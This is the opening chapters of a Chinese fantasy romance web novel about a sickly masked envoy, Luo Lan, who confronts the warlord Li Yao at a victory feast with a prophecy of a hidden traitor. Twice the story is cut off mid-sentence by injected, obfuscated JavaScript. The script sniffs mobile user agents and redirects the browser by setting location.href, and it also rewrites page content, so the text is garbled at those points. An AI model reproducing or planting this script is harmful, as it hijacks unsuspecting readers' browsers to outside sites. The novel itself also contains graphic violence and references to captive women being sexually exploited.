《美人膝下,恶犬难驯》 1. 觥筹藏锋 罗阑又一次被困在了梦魇里。 她高立于百丈城头,看城下那人浑身浴血,接连杀退数人,直冲城头而来。 罗阑听到自己的声音,冷冷命令:“放箭。” 霎时间,三千强弩齐发,箭雨遮天蔽日,朝着那道孤影倾泻而下。 那人灵力尽失,又中剧毒,步履已见踉跄,在乱箭中左冲右突,仍不肯停下。 第一箭射穿了他的左肩,冲击力带得他身形一晃。第二箭、第三箭钉入腿腹,逼得他再难向前。箭矢越来越密,逐渐连成一片凄厉的暴雨,穿透他的胸膛、手臂、腰腹…… 那人几乎被钉死在原地,成了一个鲜血淋漓的箭靶,却仍用那柄长剑支撑着,一寸,一寸,挺直了脊梁。 猩红的血泊在他身下蔓延。他低着头,长发混着血污黏在额前,遮住了面容。 许久—— 他竟一点点,抬起了头。 染血的面容模糊不清,唯有一双眼睛穿过纷飞的箭矢与硝烟,死死锁住了罗阑。 那双眼里血色弥漫,似痛,似怒,还有某种更深更暗、让她心脏骤然紧缩的东西,在其中翻涌沸腾。 那人张了张口,嘶喊出一句话,声音却散入呜咽的风声中,一字也未传进她耳中。 眼前模糊成一片,罗阑竭力想要听清那声音,却只听见自己越来越急促的喘息。 “——阿阑。” 那声音猝然在她耳后响起。 染血的双臂从身后环来,将她紧紧拥住。 滚烫的液体,混着血的粘腻,一滴,一滴,灼在她裸露的颈侧。 他低低笑了一声,在她耳畔问: “……你就这般恨我?” 罗阑骤然睁眼。 万箭攒心的窒痛感仍残留在胸口,她艰难地喘息许久,才渐渐缓过神来。 面上一阵湿冷,她伸手一摸,才发现满脸都是泪痕。 面无表情地拭干脸,她吃力地撑坐起身,伸手在床边摸索,抓住一根灵木手杖,借力下床走到门边,推门低唤了一声:“影一。” 一道黑影无声落地,垂首恭声道:“主上。” “我昏迷了多久?” “自您发作起到现在,已过了三日。” 三日…… 罗阑心头微沉,这次昏睡的时间又长了。凭这副残破身躯,她还能等到那一天吗? “你立刻去禀高执事,就说我已好转,莫要耽搁,继续赶路吧。” 影一听了,却仍伏身未动,迟迟不应声。 罗阑沉下声:“影一!” 影一悲切道:“主上,此行凶险,您如今这般……如何还能入营?属下恳请主上——保重身体!” 罗阑:“你该清楚,我为何非要走这一趟。” 影一默然不语。 罗阑缓和了语气,却是不容置疑:“传令影杀,若再有人拦劝,一律遣返魔域,不必再随我左右。” 影一咬牙应了声是。 恰在此时,客栈走廊传来些微动静,影一道:“是高执事来了。” 罗阑立马闪身,避入房内。 过了片刻,高佑从走廊走过来,眼见房门仍然紧闭,禁不住长吁短叹,来回踱了几圈,终是耐不住,向门前守候的影一问:“罗大人还未醒吗?这都三日了,怎还守着不许人进,连大夫都不准看?” 影一肃着脸,“主上刚醒,请高大人稍候。” “醒了?!”高佑一愣,随即大喜,“怎不早说!这几日玄枢捷报频传,犒军物资皆已运抵,咱们再不启程,就真赶不上了。” 话音未落,房门自内拉开。 罗阑执杖踏出门来,面上依旧覆着张熟悉的银质面具,衬得那截露出的下颌愈发苍白,唇无血色,唯有一双眼睛黑得瘆人,像是浸在寒潭里的墨玉,冷冷淡淡地望过来,无波无澜,却自有慑人之气。 她形容还带着几分大病初愈的虚弱,开口却道:“有劳高执事费心,我这两日旧疾复发,耽误了行程,实在过意不去,事不宜迟,这便动身罢。” 这般紧赶着,倒叫高佑到嘴边的慰问又咽了回去。待他回神,罗阑已被影一扶着,坐进了那辆由六翼天马拉着的车轿内。 他们此行犒军,更兼有仙盟密令,一路星夜兼程,踏入战区后受空禁限制,只得舍了飞舟换乘神骏陆行,偏偏就在这节骨眼上,这体弱的罗总参事病倒了。 高佑想起方才一瞥间见到的那副支离病骨,不由心头戚戚。仙盟上下,恐怕也唯有这么个不要命的病秧子,敢在这风口浪尖主动请命,去触昭夜侯的霉头。 所幸之后一路无碍。一行人抵达玄枢关时,曜光军已彻底接管了城防。 黑底金纹的战旗在未散的烽烟中猎猎作响,插遍城楼,驻守关城的守军甲胄森严,丝毫不懈。 高佑见惯不怪,将仙盟特使令符递了进去,可过了许久,竟仍被拦阻在关门之外。 他早知此行不易,却想不到连这关门都进不去。只得强压焦躁,对那卫队长道:“我等奉仙盟之命前来犒军,令符在此,为何迟迟不予放行?” “阁下虽持令符,但末将未得上方明示,不敢擅放。还请候验。” 高佑碰了个不软不硬的钉子,一时间束手无策。 恰在这时,车轿内一个声音道:“久闻曜光军治军严明,今日一见,不过如此。” 此言一出,值守卫兵俱是变了脸色,那为首的卫队长向前一步,沉声问:“大人何出此言?” 罗阑不紧不慢问:“你们此行拦阻,可是奉了昭夜侯之令?” 这话卫队长自然不敢擅答,只道:“将军未曾下令。” 罗阑便冷笑一声:“未经允准便敢拦人,真是好规矩。” 卫队长被这话刺得涨红了脸,硬声道:“将军有令,凡入关者皆需严查。身份未明之人——” “犒军物资先抵,令符在此,身份昭然。还有何不明?”罗阑截断他的话,“速与将军通传,若因尔等擅自做主误了事——呵,那也不打紧,反正最后丢脸的不是我。” 卫队长憋着口气,咬牙道:“若得将军允准,末将等自当放行,且愿领受军法,但请大人慎言,莫辱我军军威!” 说罢便派人去报。 “且慢。”罗阑忽又开口,“营中可有一王姓监军?唤他去传话。你们若信不过,派人跟着便是。就说——仙盟遣使犒军,有召令要宣与将军,请将军亲迎接见。” “召令”二字一出,四周卫兵目光骤利,俱都面色不善地盯住罗阑一行。高佑被这灼灼目光盯着,脊背发寒,心中叫苦:非要昭夜侯亲自来见,这不是自讨没趣么? 不多时,王监军急匆匆奔来,身后跟着方才去报信的卫兵。他踌躇着走近车轿,恭谨道:“可是罗大人?” 罗阑:“你方才传话,将军如何说?” 王监军面露尴尬,踟蹰道:“这……将军说是…说是……” 他身后那跟着去的卫兵已忍不住露出讥诮之色,只等着看这行人如何收场。 却听罗阑淡淡道:“将军话里,可有随我等入营的意思?” 王监军一怔,立刻会意:“正是!大人若要入内,将军自无不允!” 在场诸人皆听得一愣,卫队长狐疑看向那传信兵,后者脸色抽搐,却仍是点头。 值守卫队当即肃容礼让,放行车马。 行出一段后,罗阑掀帘道:“二位,请上轿一叙。” 王监军进轿见到罗阑病容,暗暗心惊。 高佑已迫不及待地问:“昭夜侯究竟说了什么,何以竟能放行?” 王监军失笑:“罗大人那番话,摆足了架子,将军自然不以为意,由大人爱来不来,愿等多久都随意。岂料——” “原来如此!”高佑抚掌,“他只当大人是不肯入营,却默认了大人可自行入内……妙啊!” 罗阑转开话锋道:“昭夜侯现在何处?” “应是刚下城头,去检视新一批进献的魅女了。” “城头?”罗阑顿了顿,“关城已定,三军上下皆在欢庆,他怎会还在城头?” 王监军只当寻常闲谈:“说来也奇,将军自破城后便立在城头,一站便是几个时辰,也无人能劝。” 高佑:“城头俯瞰战果,我看寻常。倒是监军方才所言——这进献魅女之事……外间传言纷纷,我还道是夸大其词,不想竟是真的?这昭夜侯未免也太……” 王监军闻言,却是缓缓摇头:“此事,你想得岔了。” * 营帐前的空地。 十余名魅女跪成一排,垂首露出后颈,宛如待宰的羔羊。无一不是身姿窈窕、容色殊丽,裸露的肌肤在营火映照下泛出莹润光泽。 晚风拂过,带来她们身上若有若无的异香,引得周遭持戟守卫的兵士呼吸粗重,却无一人斜视半分,个个咬紧牙关挺直脊背,额角渗出忍耐的汗珠。 一旁穿着锦缎常服、体态臃肿的赵富搓着手,啧啧称奇。 他转向身侧按刀而立的将官,满脸堆笑:“这般尤物,搁在烟花之地,那都是万金不换的宝货。外间那些凡夫俗子见了,哪个不是骨软筋酥、丑态毕露?倒还是将军的兵,都有几分本事……” 那将官冷冷扫了他一眼:“将军有令,值守期间凡有失仪者,立斩不饶。” 赵富脸上的笑容一僵,讪讪道:“是、是……” 恰在此时,营地入口处传来整齐的甲胄碰撞与礼敬之声,众将士闻声整肃,愈发挺直了脊背。 金甲铿锵声中,一道悍健高大的身影迈步而入。 残阳在他肩甲上折射出刺目的光,他周身还带着城头的血腥杀气,每踏一步,都似有无形的威压弥漫开来,压得空气中那甜腻香气都淡了几分。 赵富偷眼望去,不由晃了晃眼,这昭夜侯“玉面修罗”的名号,果然不是虚传—— 那张脸生得极俊,却俊得嶙峋凛冽。眉骨深刻,鼻梁如削,一双眸子尤其慑人,竟是罕见的暗金色。 此刻他步履沉沉,只单单自赵富身边走过,那种从尸山血海中走出的压迫感,便令赵富浑身油肉战栗,腿肚软了半分。 离曜一语不发,自跪伏的魅女身前缓步走过,目光一个个刮过她们裸露的后颈。 在灵域共识中,魅族乃魔族中最孱弱低贱的一支。 自百年前灵魔两域界壁破碎,战端开启,便时有魅族女子流落被俘,不是被圈养成奴,便是被当作玩物进献给权贵。她们媚骨天成,生来便体带异香,擅以声色摄人精魄。 此刻,众魅女因离曜身上那股浓烈血煞之气所慑,无不瑟瑟发抖,屏息垂眸,不敢直视。 唯有一人,始终垂眸静跪,脊背挺直,竟无半分怯意。 离曜在她面前驻足,声音低沉:“抬头。” 那女子缓缓仰起脸来。眉如远山,眸似寒星,唇色淡得近乎苍白,却偏偏生就一副倾城之貌。更奇的是,她眼中无惧无媚,只一片清冷澄澈。 离曜凝视她片刻,只挥了挥手:“这批人带下去,照例处置。” 正当侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一下变生肘腋,饶是离曜,也未料到还有这一出,脸上现出意外之色。 刀光快得叫人看不清,倏忽一转。 “噗——” 鲜血飞溅,身后将官的头颅冲天而起。他的身体仍保持着前冲的姿势,断颈处竟有丝丝魔气逸出。 四下里死寂无声,唯有寒风掠过战旗,猎猎作响。 离曜冷冷看着那具无头尸体倒地,温热的血液喷洒而出,溅到离曜的金甲上,映衬得他越发如神似魔。 他盯着将官断颈处的魔气,缓缓眯起眼:“魔域傀儡术?” 亲卫领命上前,动作利落地查验尸体。离曜的声音听不出情绪:“查明他近日行迹接触,至于他本人……按阵亡将领规制好生葬了。” 赵富早看得呆了,抖如筛糠地看着离曜提着他那柄犹在滴血的佩刀,一步步走近。 刀锋架上他脖颈,离曜冷笑道:“我可从未说过,要找的人有何特征。” 赵富强挤笑容:“虽、虽然将军不曾明言,但小人观察前后进献的魅女,斗胆揣摩……” 离曜饶有兴味似的:“是何特征,说来听听。要是说的不对——” 他手腕微沉,一丝鲜血顺着赵富的脖子流下。 “我当场便宰了你。” 赵富此时悔得肠子都青了,早知千不该万不该,就不该来招惹这尊煞神,然而此时悔之晚矣。 他拼命咽着口水,颤声道:“这女子体香勾人,生得极美——” 离曜指尖一动,赵富声音变调,急喊出声:“——尤其精通瞳术,能控人心神!” 离曜停了动作,似笑非笑:“算你识相,说下去。” 赵富抖着唇:“小人…小人只是猜测,此女多半身带某种印记……且出身……” 赵富说到这里便停住了,哼哧哼哧喘着气,不敢看离曜的表情。 离曜面上仍带着笑,“放心,你便都说中了,我自然放你一马。” 赵富额头冷汗簌簌而下,心道若真说中,离曜岂能容他这窥破机密之人活着离开?然而事到如今…… 他把心一横,咬着牙豁出去道: “出身……魔域西冥!” 营内一片死寂,只剩下火把燃烧的噼啪声和赵富粗重的喘息。 离曜收刀入鞘,笑了声:“你倒是消息灵通,观察入微,聪明得紧。” 赵富四肢发软,擦着冷汗连声道:“不敢、不敢……小人只是胡乱猜测……” 离曜话锋一转,语气听不出喜怒:“你方才说,还知道一个符合条件的,为何不一同送来?” 赵富如蒙大赦,却又提起一颗心,忙磕头道:“将军明鉴!非是小人藏私,只、只因那魅女……已与人为妻!小人实在不便……” 离曜挑眉,语带嘲讽:“哦?灵域律法,明令禁止迎娶魅女为妻。谁敢冒天下之大不韪?” 赵富证据凿凿道:“虽无正礼娶妻,但据小人所知,那女子在府中地位超然,俨然便是女主人的做派,深得宠爱,等闲人动不得……” 离曜听得眯起眼,忽地想起什么,面色惊变:“你说的那人,莫非是——” “正是——当今仙盟总参事,罗阑罗大人府上!” 离曜皱眉,他早听闻罗阑府内养着一绝色魅女,当时只觉纳罕,罗阑那般冷情寡性之人竟也好此道,却不曾深想其中关窍—— 他忽的一把揪起赵富衣领:“你确定那魅女是西冥出身?” 赵富证据凿凿地点头:“千真万确!小人曾偶然见过一次,她身上魔纹独特,绝不会错!” 话音刚落,一个冷得掉冰碴子的声音骤然响起: “昭夜侯何时对我府内私事,这般感兴趣了?” 瘫软在地的赵富愕然抬头,看向离曜身后营帐阴影处,如同见了鬼般,失声惊呼:“罗、罗大人!” 2. 觥筹藏锋 灵域中人若要谈起离曜,三天三夜都说不完。 他是名震八方的昭夜侯,战功彪炳,所向披靡,座下拥趸无数,是让魔军闻风丧胆的修罗战神,也是仙盟将士顶礼膜拜的旗帜。 可若要问起那位与他针锋相对的总参事罗阑,却鲜少有人能道出个一二。 此人来历成谜,行踪诡秘,却能得到仙盟盟主的绝对信任。加之一贯低调,常以银具覆面,极少在人前露面,无论面貌、年岁,甚或修为深浅,都难以定论。 唯一能确定的是,这位总参事身子骨似乎不太好,话少人冷,常年带病,就连站立都需倚杖勉力支撑。 但偏偏,这样一个风一吹便倒的病秧子,却在仙盟中枢稳踞高位,成为让离曜最头疼的劲敌。 罗阑行事极具特征,若要用一个词形容,那便是“精密”——言必有据,谋定后动,无论面对何等紧急的局势,永远那副波澜不惊的模样。 可就是这样一个滴水不漏之人,每每与离曜对上,竟能被气到连连咳嗽,扶着桌角喘气不止。 每当看到这位总是端着的总参事被激得失态,或是脸色苍白地抬袖掩住咳嗽,离曜都感到一种特别的快意。 那副明明快要站不住,却偏要咬牙硬撑的可怜样子,是他在军务之余难得的消遣。 ——可这死对头,如何竟能出现在他离曜的军营之中?不怕被他直接弄死么? 离曜直直看向帐影深处那人。 罗阑静立在火光未及的暗处,一身墨色常服几乎与夜色融为一体,唯有襟前银线绣着的仙盟徽纹,在跃动的焰芒下偶尔一闪。看起来身形清瘦,肩背却挺得笔直,握杖的指节因用力而微微泛白,透出几分隐忍的虚弱。 赵富目光在二人之间逡巡,甫一触及罗阑那双冷寂的眸子,顿时如遭冰水浇头,一个激灵,再不敢说话了。 罗阑略一颔首,向离曜道:“在下原候在行辕外,听闻将军遇刺,便贸然前来,唐突勿怪。” 原来仙盟派来的特使竟是罗阑。 离曜心下冷哼,派谁来不好?偏派这么个处处跟他作对的病秧子,想必来者不善。 “我道是哪个不长眼的特使,敢在我面前摆谱,”离曜扯了扯嘴角,语带讥诮,“原来是罗总参事大驾光临,失敬,失敬。” 罗阑仿佛听不出他话中的刺,不咸不淡地道:“二位方才言谈之间,似乎提及在下府中私事,不知是何缘故?” “啧,这个嘛,”离曜混不吝地挑眉,“听闻罗大人府上有位姿容绝世的魅女,不知是何等样人,比起我营中这一批,如何?” 罗阑的视线极轻极快地扫过那群跪伏的魅女,旋即收回:“将军谬赞,府中陋质,却是无法比拟。” “既然罗大人自觉不如,”离曜笑得恶劣,“那我便将这批魅女转赠于你,权当换——” 话未说完,便被罗阑轻声打断:“将军误解了。” 她抬起眼,眸光静而凉,“在下的意思是——纵使将军营内皆是绝色倾城,又如何能比拟我府内明珠?非关容貌妍媸,实是我心爱重,绝不愿见内人无端遭人品头论足,受粗蛮调笑玷辱。” 离曜被这番话酸得倒牙,听到“粗蛮”二字,更是直接气笑出声,“未料罗大人竟是这般怜香惜玉的情种!只可惜……” 他目光意有所指地扫过罗阑单薄身形与那根手杖,“身子骨太差,只怕无福消受美人恩,反倒令明珠蒙尘。” 这已算是公然戏辱了,赵富听得在一旁擦汗,罗阑仍是面色不变。 “为在下内人些许微末姿色,无端劳动将军挂心,已属不该,又累得仙盟召令悬置,三军将士于庆功宴上空候良久,更是罪过,但请将军恕罪。” 罗阑说话永远是这样不急不缓,冷冷淡淡,教人分辨不出内里究竟是真心实意,还是暗讽讥诮。 不过罗阑说的确是实情。他们此行,名义上是代表仙盟犒军,自然少不了美酒佳肴、灵丹妙药,更有仙盟特赐的功勋簿与封赏。离曜麾下营兵,各路将帅皆已齐聚,只待他这位主帅到场,便可开席畅饮,共庆大捷。 离曜哼笑了声,“既如此,便请罗特使此刻宣了召令,我也好速往开宴,与众将士同乐。” 罗阑却轻轻摇头:“不急。庆功盛宴,正当尽兴。召令之事,待宴饮之后,再宣不迟。” 离曜眯起眼,盯着罗阑看了片刻,“便依你所言。” 就在此时,高佑推着一架轮椅急匆匆奔来,抹着汗道:“哎哟,罗大人!您怎么就自己进来了?可叫我等好找!快快请坐,莫要累着!” 罗阑也不推拒,略一点头,便在轮椅上坐下。 离曜临走前下令:“把这批魅女带下去,再查一遍底细,尤其是刚刚那女刺客。” 亲卫领命,按以往惯例,便要押送众女往专设的营帐而去。 “慢着。”罗阑忽然出声。 他看向那名亲卫:“送往哪个营?” 亲卫一怔,看了离曜一眼,得他默许,这才垂首恭答:“回大人,是……浣衣营。” “浣衣营”三字一出,空气骤然凝滞。 这营名似取“涤垢自新”之意,实则人人皆知——凡被俘魅女、罪眷、敌俘女眷,皆先入此营“浣衣”,是供军士泄欲之所。 罗阑沉默下去,唇角抿成一条苍白的直线,未再发一言。 * 军士们围坐篝火旁,烤肉饮酒,高歌畅饮,声震云霄。 中军大帐之内,一张张案几罗列,珍馐美馔并灵果佳酿铺陈满目,数十位高阶将帅依序而坐。 离曜高踞主位,不断有将领上前敬酒,无一不是言辞恳切,敬服崇拜。 “恭贺将军!玄枢光复,全赖将军神威,末将等佩服得五体投地!” “这一仗打得真他娘的解气!瞧那些魔崽子屁滚尿流,十年都缓不过气来——” “将军,这碗酒敬您,也敬那些没白死的弟兄!” 酒过三巡,气氛愈加热烈。 一小将显然已喝得多了,跌跌撞撞行至离曜案前,竟“噗通”一声纳头便拜,涕泗横流道:“将军!末将、末将代家中老小,谢将军之恩!当年魔军屠掠,我家七口皆殁于魔爪,唯有我一人侥幸逃生……若非将军,此生报仇无望,如何能回到故土……”语至哽咽,难以成声。 离曜一把将那小将搀扶起来,拍了拍他肩甲,调笑道:“陆明,你小子打了胜仗不挺直腰板喝酒,倒在这儿哭起鼻子来了?这点猫尿,还是留着等踏平魔域老巢的时候,再给老子痛快地洒!” 陆明一抹脸,用力点头:“是!末将记住了!” 这模样引得周围将官一阵善意的哄笑,有人端着酒碗笑道:“陆小子,你这憨货,倒把咱们将军的教诲当酒令听了!” 笑声中,一位资历最老的王姓副将抚须感慨:“想当年魔军肆虐入侵,我灵域疆土大半沦陷,真如堕入无边暗夜,不见曙光啊……幸得将军出世,领着我等一刀一枪、一城一地往回打,这才有了今日!” 他举杯环视众人,“敬将军!敬我灵域山河重光!” 众将齐声应和,满饮此杯。 然而就在这欢腾鼎沸之际,一道身影始终静坐不动。 离曜视线越过众人,看向下首坐着的那个人。 罗阑坐得端肃,既不动箸,亦不举杯,视线低垂,凝于案前一点虚空,跳跃的火光在侧脸投下明明暗暗的光影,衬得那单薄身影愈发冷寂、寥落,与这满帐欢腾、烈火烹油的盛宴格格不入。 如同一滴浓墨误入了鲜亮的彩绘,突兀,且刺眼。 先前那随侍来到罗阑身后,附耳低语几句。 罗阑听后抬眼,向高座上的离曜看来。 两人隔空对视,离曜挑眉问:“罗大人有何话要说?” 营内霎时一静。所有目光都汇聚到了罗阑身上。 罗阑不紧不慢地起身,示意身后高佑上前:“这位是仙盟司礼殿高执事,奉命宣录此次玄枢大捷的功勋封赏。” 高佑取出一枚灵光隐隐的令符,开始高声宣诵,每念一人,便是一阵欢呼,红光满面,喜气盈帐。 但一圈下来,封赏从先锋偏将念到后勤督运,自灵宝丹药赏至田宅族荫,直到随侍收起令符,众人翘首以盼的——那个本该最先响起、最煊赫隆重的名字,竟未被提及分毫。 见高佑站到罗阑身后,帐内死寂了一瞬,随即一阵哗动不满,众将面上皆现出怒容。 有性急的直接拍案而起,暴喝出声:“我们将军的封赏呢?姓罗的!你他娘的葫芦里卖的什么药?有屁快放!” 离曜却神色不动,只唤了一声:“陈骁,不得无礼。” ——实际上,离曜这些年功勋累累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059105|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已封无可封。 他初出茅庐时,便以三千奇兵夜袭魔军后阵,救下了沦陷在即的灵域中枢“阙都”,重挫魔族名将宣烨,一战成名。此后数年,离曜辗转各大战区,屡建奇功,斩魔将十七人,收复失地三十六城,驱魔军千里,令其不敢东窥。 当年仙盟特赐封爵“昭夜”,便是取“明光曜世,昭朗长夜”之意,誉其功绩,如日月经天,光耀天下。 也正是在那受封昭夜、声望如日中天之时,他第一次听到罗阑的名字—— 离曜想到此处,端起酒盏,遥遥向罗阑道:“罗大人,听闻当年你曾极力反对我以‘昭’字封侯。不知本将今日,可还当得这‘昭’字?” 罗阑静默片刻,缓缓答道:“昭者,明也,日明为昭。非止于功业,更在于心光坦荡,不蔽于权,不溺于势。当不当得,并非在下说的算,将军心中,自有明镜。” 罗阑说到此处,略一停顿,“在下此行,盟主亲下有召,请将军接令。” 帐内将帅闻言,不少人面色微变,交换着眼神。 罗阑这话,绵里藏针,就差指着鼻子骂将军拥兵自重、权势过盛了。 这些年来,离曜麾下部将忠心追随,根系遍布各路军区。随着战功累积、威权日重,在治下之地更是说一不二。仙盟虽屡加殊荣,却也日渐忌惮——毕竟,一个连魔族都闻风丧胆的统帅,若再得仙盟全力扶持,怕是要凌驾于九殿之上。 盟内近几年明褒暗抑,早有削权之意。可谁不知,离曜今日之位,非靠恩宠,而是拼着性命鲜血,一寸寸打出来的? 如今罗阑亲临,不宣封赏,反携召令——今日可是庆功宴,是将士用命换来的胜果,却连一句嘉奖都不给主帅? 一时间,酒香犹在,杀气已生。众将虽仍端坐,手却悄然按上了腰间刀柄——他们可以不要赏,但绝不容任何人折辱将军! 高佑见满帐杀气升腾,面色陡变,罗阑却仍八风不动,仿若未觉,只向着离曜重复道:“请将军接令。” 离曜眯眼看着罗阑,不答反道:“罗大人,这酒,可是为你备的。你若不先饮了,便是瞧不起我这满营将士。” 帐内鸦雀无声。 众将屏息,只道将军这话是给罗阑最后一个台阶,令他识趣收敛,收回那不合时宜的召令,或许还能全须全尾走出这军帐。 在无数道目光灼灼注视下,罗阑缓缓伸手,拈起了案上酒盏,送至唇边,一饮而尽。 离曜讶然挑眉。 帐内紧绷的气氛为之一缓,不少将领脸色都是一松,看来这罗阑也并非全然不识时务…… 下一刻,却见罗阑袖中金光一闪—— 一枚金符破空而出,稳稳落在离曜案前。 “盟主亲谕,昭夜侯离曜,见符即刻启程,赴阙都太玄殿面陈玄枢战事详情,不得延误。” 众将愕然,旋即拍案而起,怒视罗阑:“你们这是又要逼将军卸甲赋闲不成?!” “上次若非你们强令将军回阙都‘静思’,魔军怎会趁势反扑?多少弟兄白白填了进去!今日又是这般急召——莫不真当我们曜光军是泥捏的不成?!” 帐内群情激愤。离曜却是盯着罗阑,噗嗤一声笑了出来。 这一笑,反令满帐声讨的将帅愕然收声,面面相觑。 罗阑强撑着宣完召令,抬袖捂住嘴,发出一阵压抑的轻咳,单薄的肩背微微颤动。 高佑忙扶住他:“罗大人,您可沾不得酒啊!”说着便要搀罗阑入座。 罗阑摆了摆手,撑着手杖,一步步走到主位案前,直视离曜,冷冷问:“将军,是要违令?” 离曜颇有些玩味道:“我便是不去,你又能奈我何?仙盟……又能奈我何?” 罗阑迎着他的目光,缓缓道:“在下自然无法强逼,不过,将军今夜——注定会往阙都而去。” 离曜盯着罗阑,每当这种时候,他最想做的,就是—— “砰!” 罗阑脖颈被一只铁箍般的大手掐住,整个人被一股巨力拽过去,狠狠掼压在案几之上!杯盘碗盏哐啷啷滚落一地,灵肴酒液泼洒开来,瞬间浸湿了她半边衣袖。 “罗大人!”身后高佑惊呼。 “你哪来的信心,”离曜钳住罗阑脖颈抵在案前,嗤笑一声,“觉得我能心甘情愿跟你回阙都,嗯?罗阑?” 3. 觥筹藏锋 罗阑猝不及防,懵了一瞬,随即剧烈挣扎起来,可文弱之躯,如何敌得过离曜蛮横力道?几番挣动,只弄得衣襟凌乱,发丝散落,反添狼狈。 罗阑很快意识到这一点,立马停了动作,别过头去。只是微喘的气息、抿紧的嘴唇,仍泄露出几分压不住的愠恼。 离曜低头,饶有兴致地打量着罗阑这副不堪折辱又强自隐忍的模样,简直要笑出声来。 身后寒光乍现,早有十余名鬼魅般的影卫自暗处倏然现身,将离曜团团围住。 帐内将帅岂容主帅受胁? 几乎同一时间,铿锵之声不绝于耳,刀剑纷纷出鞘。双方剑拔弩张,无人敢轻举妄动。 “昭夜侯,”即便在这种处境下,罗阑的声音依然平静得令人发指,仿佛被掐住脖子的人不是自己,“是想要杀害特使,与仙盟为敌么?” 不过短短几个呼吸间,罗阑流露的情绪便收敛得干干净净,那双幽黑沉静的眼眸直视着离曜,显出几分凛然不可犯的威严。 离曜见罗阑这模样,也有几分佩服。 “难道不是你有意招我的?”离曜俯身,在罗阑耳边道,“罗总参事,你倒是够胆走进我这中军大帐,还非要在宴上宣这劳什子召令……是在向我挑衅么?” “我就是以不敬之罪杀你,日后盟主,可未必能替你伸冤。”他余光扫过周围虎视眈眈的影卫,嗤笑一声,“还是你觉得,凭这几个侍卫,就能全身而退?” 罗阑冷然道:“你要杀便杀,何必作态试探?告诉你也无妨,我此行秘访,确只带了这寥寥数人,之所以有恃无恐——” “只因璇玑阁有‘天谕’问世,仙盟特派要务,便是你离曜,也不得相妨。” “璇玑阁?”离曜闻言,倒真是有些讶异。 璇玑阁观星定命,以天机推演天下大势,百年间谶言屡屡应验,不知为灵域避过多少灾劫。可以说,灵域能有今日格局,璇玑阁功不可没。虽不直接统属仙盟,然每有大变,仙盟皆仰其示谕定策。久而久之,灵域中人,早已将璇玑阁天谕奉若天命。 离曜可以撇开仙盟,可以无视召令,却决不能置璇玑阁天谕于不顾。 他凝视罗阑,“难不成——这问世天谕与我曜光军有关?” “不错——”罗阑顿了顿,“将军可否起来说话?” 离曜知罗阑素来厌恶与人亲近,尤其忌讳肢体接触,闻言非但没松,反而贴得更近,鼻头不觉动了动。 他又闻到了。 罗阑身上那种若有若无的奇异气息,混杂在浓厚药草和苦竹味道中的,那一丝极幽微、极冷冽的暗香。 自第一次仙盟军议,从罗阑身边擦肩而过时,他就闻到过这味道,当时还在心里嗤笑这人娘们唧唧,整日熏香,矫情得很。 可此刻,离曜只觉掌中脖颈也太过纤细,纤细得——简直不像个男人。 他心头一动,视线不由向下一扫。 罗阑衣领向来扣得很高,严严实实地遮住整个脖颈。便是离曜此时如此钳制,掌心所触,也隔着一层挺括的衣料和正中那颗领扣。 罗阑自他靠近深嗅那刻起就浑身紧绷,越发偏过头去,咬牙低斥:“放开!” 离曜岂会听话,灼灼盯住罗阑乌发间露出的那点发红的耳廓,半晌移不开目光。 离曜自己浑然不觉,帐内其余人面上或多或少都有几分怪异。 只因离曜身量本就比寻常武将还要高上许多,罗阑又实在纤瘦单薄。他这般将罗阑压在案上,又倾身逼近,几乎将人半拢在怀里……在满帐肃杀之气里,硬生生显出几分狎昵轻薄之感,叫一些将官看得眼神飘忽,不知该落在何处。 众目睽睽之下,离曜到底不好真往罗阑身上摸。只慢悠悠道:“不知是何等天谕,竟能劳动罗总参事抱恙之身,亲自走这一趟?” 罗阑虽未松懈,仍是缓了口气道:“将军可曾听闻百年前,那祸乱天下、引魔入关的——” 话还未完,离曜忽然探手,径直袭向罗阑的脸侧! “咔嗒”一声轻响。 面具应声脱落。 眼前所见,是一张清隽苍白的脸。眉眼疏淡,鼻梁挺直,唇色很淡,因着先前酒力,眼尾与脸颊还残留些许未褪尽的红晕。算不上绝色,却自有股书卷沉淀的雅致,只是那双眼眸太过幽深空寂,像两口古井,掩去了所有情绪,反倒衬得整张脸有种不近人情的冷淡。 罗阑猝然抬眸,冷冷瞪视着离曜。 离曜不得不承认,这张脸是好看的,但不论怎么看,这都是一张男人的脸。 “看够了吗?”罗阑沉声道。 离曜低笑一声:“罗大人面具下这张脸,虽有几分颜色,却也无甚稀奇。不知有何金贵之处,还非得终日遮挡,见不得人?” 言罢,他终于松手。罗阑迅疾起身连退数步,抬手将面具扶正戴好,朝影卫打了个手势,影卫们随即收刃退后。 离曜好整以暇地坐回主位,随手拎起案边未倾的一壶酒,自斟了一杯,抬眼看罗阑:“现在,罗大人可以说了。璇玑阁的天谕,究竟为何?” 罗阑稳了稳呼吸,一字一句道:“璇玑阁占得星谶——凶星照命,堕凤现世。应验之地,正在将军麾下曜光军中。” 堕凤两个字一出,帐内众将皆是悚然色变,旋即哗然! “堕凤?!那灾星不是早已伏诛,魂飞魄散了吗?怎可能还活着!” “当年若非这孽障开关引魔,我灵域三州何至于一夜沦陷,万灵涂炭……此獠若真还活着,必要揪出碎尸万段!” “罗大人!”一位老将须发皆张,厉声质问,“此事关系重大,绝非儿戏!璇玑阁星谶当真指向‘堕凤’?又如何断定他藏身于我曜光军中?还请明示!” 离曜的脸色,在听到“堕凤”二字时,便彻底沉了下来,手中酒杯顿在案上。 罗阑视线越过众人,直直落在离曜面上,“璇玑阁以九星命术推演,确证‘堕凤’非但未死,且早已改头换面,潜伏军中多年,步步高升,今已——” “高踞帅位,执掌杀伐。” 满帐高阶将帅面面相觑,惊疑道:“你的意思是——” “不错,”罗阑淡淡道,“堕凤此刻,就在这中军帐内。” 罗阑话音落下,帐内死寂。 